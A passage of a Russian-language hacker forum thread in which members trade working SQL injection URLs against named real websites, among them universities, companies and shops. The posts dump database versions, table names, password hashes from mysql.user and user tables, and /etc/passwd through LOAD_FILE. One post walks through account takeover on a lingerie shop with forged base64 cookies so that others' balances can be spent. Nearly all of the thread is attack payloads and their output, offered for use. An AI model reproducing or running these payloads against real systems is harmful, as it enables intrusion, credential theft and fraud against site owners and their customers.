SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    594
    Reputations:
    567
    Code:
    http://www.miga.org/sitelevel2/level2.cfm?id=1069%27
    Там Oracle. Я тут не рулю... :(
     
    1 person likes this.
  2. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    799
    Likes Received:
    710
    Reputations:
    301
    Ув. господа требуются добровольцы для апгрейта антибояна. С 300 по 323 стр. Желающие добро пожаловать в осику 480596. Спасибо
     
  3. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    594
    Reputations:
    567
    Code:
    http://gamers.eurogamer.net/giveaways.php?id=-8 UNION SELECT 1,2,AES_DECRYPT(AES_ENCRYPT(CONCAT_WS(' ',VERSION(),DATABASE(),USER()),'1'),'1'),4,5,6,7,8,9,10,11/*
    4.1.13-standard-log : eurogamer : masterwww@192.168.1.3
     
  4. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Code:
    http://www.hamo.es/es/news.php?id=-2+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.columns/*
     
  5. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,002
    Likes Received:
    435
    Reputations:
    90
    thinkpackaging.com Провайдер, регистрирует доменные имена и предоставляет хостинг =) п.с. хотел найти что-нибудь подходящее, дорого ибо =)
    Code:
    http://www.thinkpackaging.com/view_company.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 ,19,20,version(),22,23,24+from+company/*
     
  6. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    код:


    http://goroskop.a.org.ua/?id=-12+union+select+1,2,CAST(concat_ws(0x3a,version(),user(),database())+AS+BINARY),4/*
     
    1 person likes this.
  7. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    175
    Likes Received:
    288
    Reputations:
    20
    Code:
    http://www.endiama.co.ao/news.php?id=-1+union+select+1,2,3,4,aes_decrypt(aes_encr ypt (version(),0x 71),0x71)/*
    Code:
    http://www.endiama.co.ao/news.php?id=-1+union+selec t+1,2,p assword,4,5+from+users/*
    Code:
    http://newwebstudio.com/bg/Services.php?id=-1+union+select+1,2,AES_DECRY PT(AES_ENCRYPT(VE RSION(),0x71),0x71),4,5/*
    Code:
    http://www.garantovany-dodavatel.com/www/forum_read.php?id=-1+union+select+1,2,3,4 ,concat (user(),0x3a,version(),0x 3a,database()),6/*
     
    2 people like this.
  8. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    146
    Likes Received:
    83
    Reputations:
    -4
    источник: http://www.xakep.ru/post/40386/default.asp
    ------------------------------------
    ActiveKB Knowledgebase 2.x
    ------------------------------------

    Code:
    http://[COLOR=Blue]support.lexiconn.com[/COLOR]/kb/index.php?ToDo=browse&catId=-10+union+select+1,LOAD_FILE(%200x2f6574632f706173737764),3,4,5,6,7+members/*

    Code:
    http://[COLOR=SandyBrown]www.randomhouse.com[/COLOR]/about/faq/index.php?ToDo=browse&catId=-20+union+select+1,password,user,4,5,6,7%20from%20mysql.user/*

    Code:
    http://www.[COLOR=Blue]booklounge.ca[/COLOR]/about/faq/index.php?ToDo=browse&catId=-10+union+select+1,password,user,4,5,6,7%20from%20mysql.user/*

    Code:
    http://[COLOR=DarkRed]olseninvest.com[/COLOR]/faq/index.php?ToDo=browse&catId=-10+union+select+1,LOAD_FILE(%200x2f6574632f706173737764),3,4,5,6,7%20from%20mysql.user/*
    ----------------------------------
    Code:
    http://[COLOR=Indigo]www.lcn.biz[/COLOR]/faq/index.php?ToDo=browse&catId=-10+union+select+1,user,password,4,5,6,7%20from%20mysql.user/*
    Code:
    http://[COLOR=Sienna]www.lcn.biz/[/COLOR]faq/index.php?ToDo=browse&catId=-10+union+select+1,LOAD_FILE(0x2f6574632f706173737764),3,4,5,6,7%20from%20mysql.user/*
    ----------------------------------

    Code:
    http://www.[COLOR=Purple]fastsurf.com[/COLOR]/faqs/index.php?ToDo=browse&catId=-10+union+select+1,password,username,4,5,6,7%20from%20user/*
     
    2 people like this.
  9. VentRu

    VentRu New Member

    Joined:
    27 Sep 2007
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    http://www.jm-hohenems.at/index.php?id=-1+union+select+1,2,3,4,5,6,7,user,9+from+mysql.user--&lang=1'
     
  10. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    594
    Reputations:
    567
    Помучал гугль на edu сервера, вывод:
    Каждая пятая ссылка уязвима к SQL injection
    Из этих ссылок на каждой второй легко провести SQL injection

    bti.cornell.edu
    Code:
    http://bti.cornell.edu/page.php?id=111' OR 1=IF(SUBSTRING(VERSION(),1,1)=3,1,0)/*
    3 версия мускуля

    gmu.edu
    Code:
    http://gmu.edu/cfa/calendar/eventlisting.php?id=-598' UNION SELECT 1,2,3,CONCAT_WS(':',VERSION(),USER(),DATABASE()),5,6,7,8,9,10,11,12,13,14,15,16,17/*
    4.0.24_Debian-10sarge2-log:public@jiju.gmu.edu:centerarts

    www.bact.wisc.edu
    Code:
    http://www.bact.wisc.edu/GradStudies/facultyListing.php?id=-25 UNION SELECT 1,CONCAT_WS(0x203A20,VERSION(),USER(),DATABASE()),3,4,5,6,7,8,9,10,11/*
    4.1.22-log : viewTables@localhost : bactsite

    wwwrsphysse.anu.edu.au (сразу на заметил что не edu сервер... и как раз пятая версия мускула :( )
    Code:
    http://wwwrsphysse.anu.edu.au/nuclear/personnel.php?id=-50 UNION SELECT 1,2,3,4,5,6,CONCAT_WS(0x203A20,VERSION(),USER(),DATABASE()),8,9,10,11,12,13,14,15,16,17,18
    5.0.22 : nucleus_reader@rsphyweb.anu.edu.au : nucleus

    www.ns.umich.edu
    Code:
    http://www.ns.umich.edu/htdocs/releases/story.php?id=3125'
    Тут UPDATE

    genealogy.math.ndsu.nodak.edu
    Code:
    http://genealogy.math.ndsu.nodak.edu/id.php?id=18231'
    Не разобралсо

    www.salk.edu
    Code:
    http://www.salk.edu/faculty/faculty_details.php?id=-15'
    Вроде чето есть, не разобралсо

    qt.exploratorium.edu
    Code:
    http://qt.exploratorium.edu/cils/page.php?ID=15 UNION SELECT 1,2,3,4 /*
    У меня вывести ничего не получилось...

    stanfordphotonics.stanford.edu
    Code:
    http://stanfordphotonics.stanford.edu/calendar.event.php?id=53'
    При подборе столбцов с помощью GROUP BY 3 столбца а на UNION SELECT 1,2,3 выдает ошибку...

    -----------------------------------------------
    Зы нашел в два раза больше чем тут, но половина оказалась баяном :(
     
    2 people like this.
  11. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    код:

    http://pk.kiev.ua/i2index.php?id=-4'+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,id,login,name,email,pass),9,10,11,12,13,14+from+users+limit+0,1/*

    администрация предупреждена об уязвимости
     
    #3211 sasTO, 1 Oct 2007
    Last edited: 1 Oct 2007
  12. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,759
    Likes Received:
    816
    Reputations:
    230
    Блин, а где ты её искал то? http://pk.kiev.ua/admin/
     
    _________________________
    1 person likes this.
  13. ENFIX

    ENFIX Elder - Старейшина

    Joined:
    6 Jun 2006
    Messages:
    175
    Likes Received:
    122
    Reputations:
    75
    Магазин эротичного белья Shirley.RU
    Сама скуль:
    Code:
    http://shirley.ru/cat.php?id=3+and+1=0+union+select+1,2/*
    Узнаем версию и юзверя:
    Code:
    http://shirley.ru/cat.php?id=3+and+1=0+union+select+concat_ws(0x3a,user(),version()),2/*
    shir@localhost:5.0.33
    Узнаем имена таблиц:
    Code:
    http://shirley.ru/cat.php?id=3+and+1=0+union+select+table_name,2+from+INFORMATION_SCHEMA.tables+limit+16,1/*
    Интересные:
    shir_balance
    shir_cart_orders
    shir_cart_orderitems
    shir_cart_prod_assort
    shir_opt_users
    shir_session
    shir_users
    shir_users_new

    Узнаем имена столбцов:
    Code:
    http://shirley.ru/cat.php?id=3+and+1=0+union+select+concat_ws(0x3a,table_name,column_name),2+from+INFORMATION_SCHEMA.columns+where+table_name=0x736869725F7573657273+limit+0,1/*
    Интересное:
    uid
    uname
    pass
    email

    Выводим uid,uname,pass
    Code:
    http://shirley.ru/cat.php?id=3+and+1=0+union+select+concat_ws(0x3a,uid,uname,pass),2+from+shir_users+limit+0,1/*
    получаем идент:логин:мд5хэш
    Регаемся:
    Code:
    http://shirley.ru/user.php?name=new_user
    Заходим в свой акк, смотрим куки (они зашифрованы в base64). Декодируем и получаем идент:логин:md5хэш
    дэкодируем и вставляем чужие данные. Обновляем страницу и смотрим, что мы под дргим акком
    На многих акках есть баланс, при чем крупненький ;)
    благодаря таблице shir_balance можно вывести балан и номер пользователя, а дальше сами думаем ;)

    В общем заходим под акком и покупаем себе эротическое белье ;)
     
    4 people like this.
  14. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    823
    Reputations:
    1,418
    edu&gov

     
    7 people like this.
  15. 0nep@t0p

    0nep@t0p Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    134
    Likes Received:
    216
    Reputations:
    17
    http://www1.dontsova.ru/
    Code:
    http://www1.dontsova.ru/view_news.php?id=-197'+union+select+1,2,3,4,5,user_pas sword,7,username,9,10,11,12, 13+from+phpbb_users+where+user_id=1+limit+1/*
    http://mayonez.com/
    Code:
    http://mayonez.com/news.php?id=-22+union+select+1,2,VERSI ON(),4,5/*
     
    #3215 0nep@t0p, 1 Oct 2007
    Last edited: 1 Oct 2007
    2 people like this.
  16. I0gen

    I0gen Elder - Старейшина

    Joined:
    15 Aug 2007
    Messages:
    76
    Likes Received:
    33
    Reputations:
    10
    http://www.srt.lv/lv/index.php?option=com_mambads&Itemid=0&func=detail&cacat=1&casb=1&caid=999/**/Union/**/select/**/1,2,3,4,5,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20mos_users/*
     
  17. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Code:
    http://www.communicationvalley.it/FilesProc/CryptoFileContent.php?id=-13+union+select+1,2,3,table_name,5,6,7+from+information_schema.tables+limit+2,1/*
    прикольный ответ от SQL сервера). Лимит в помощь)

    Code:
    http://www.lib.uwo.ca/news/view.php?id=-487'+union+select+1,table_name,3,4,5,6,7,8,9+from+information_schema.tables+limit+23,1/*
    Code:
    http://www.lib.uwo.ca/news/view.php?id=-487'+union+select+1,username,3,4,5,6,7,8,9+from+users+limit+1,1/*
     
    #3217 KPOT_f!nd, 1 Oct 2007
    Last edited: 2 Oct 2007
    2 people like this.
  18. Tyc00n

    Tyc00n Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    30
    Likes Received:
    25
    Reputations:
    -1
    Раскрутите)

    Code:
    http://www.schleuderwelt.com/print.php?printpage='+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
     
  19. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14

    код:

    http://www.schleuderwelt.com/print.php?printpage=-9999999'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,concat_ws(0x3a,version(),user(),database()),21,22,23,24,25,26,27/*

    Дальше сам ройся,я спать... :eek:
     
  20. 0nep@t0p

    0nep@t0p Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    134
    Likes Received:
    216
    Reputations:
    17
    Секас ;)
    Code:
    http://www.lovemagia.ru/product_show.php?lid= 7&sid=-20+union+s elect+1/*
    Версия - 4.0.26-log
     
    1 person likes this.
Loading...
Thread Status:
Not open for further replies.